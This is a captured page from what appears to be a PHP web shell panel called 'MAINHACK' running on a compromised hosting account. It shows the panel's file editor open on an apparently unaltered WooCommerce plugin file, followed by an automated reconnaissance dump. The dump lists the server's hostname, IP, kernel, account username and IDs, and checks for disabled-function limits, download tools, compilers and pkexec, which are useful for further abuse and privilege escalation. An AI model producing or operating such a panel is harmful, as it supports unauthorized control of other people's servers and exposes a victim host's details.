[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: woocommerce.php
<?php /** * Plugin Name: WooCommerce * Plugin URI: https://woocommerce.com/ * Description: An ecommerce toolkit that helps you sell anything. Beautifully. * Version: 10.4.3 * Author: Automattic * Author URI: https://woocommerce.com * Text Domain: woocommerce * Domain Path: /i18n/languages/ * Requires at least: 6.8 * Requires PHP: 7.4 * * @package WooCommerce */ defined( 'ABSPATH' ) || exit; if ( ! defined( 'WC_PLUGIN_FILE' ) ) { define( 'WC_PLUGIN_FILE', __FILE__ ); } // Load core packages and the autoloader. require __DIR__ . '/src/Autoloader.php'; require __DIR__ . '/src/Packages.php'; if ( ! \Automattic\WooCommerce\Autoloader::init() ) { return; } \Automattic\WooCommerce\Packages::init(); // Include the main WooCommerce class. if ( ! class_exists( 'WooCommerce', false ) ) { include_once dirname( WC_PLUGIN_FILE ) . '/includes/class-woocommerce.php'; } // Initialize dependency injection. $GLOBALS['wc_container'] = new Automattic\WooCommerce\Container(); /** * Returns the main instance of WC. * * @since 2.1 * @return WooCommerce */ function WC() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid return WooCommerce::instance(); } /** * Returns the WooCommerce object container. * Code in the `includes` directory should use the container to get instances of classes in the `src` directory. * * @since 4.4.0 * @return \Automattic\WooCommerce\Container The WooCommerce object container. */ function wc_get_container() { return $GLOBALS['wc_container']; } // Global for backwards compatibility. $GLOBALS['woocommerce'] = WC(); // Jetpack's Rest_Authentication needs to be initialized even before plugins_loaded. if ( class_exists( \Automattic\Jetpack\Connection\Rest_Authentication::class ) ) { \Automattic\Jetpack\Connection\Rest_Authentication::init(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.27 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252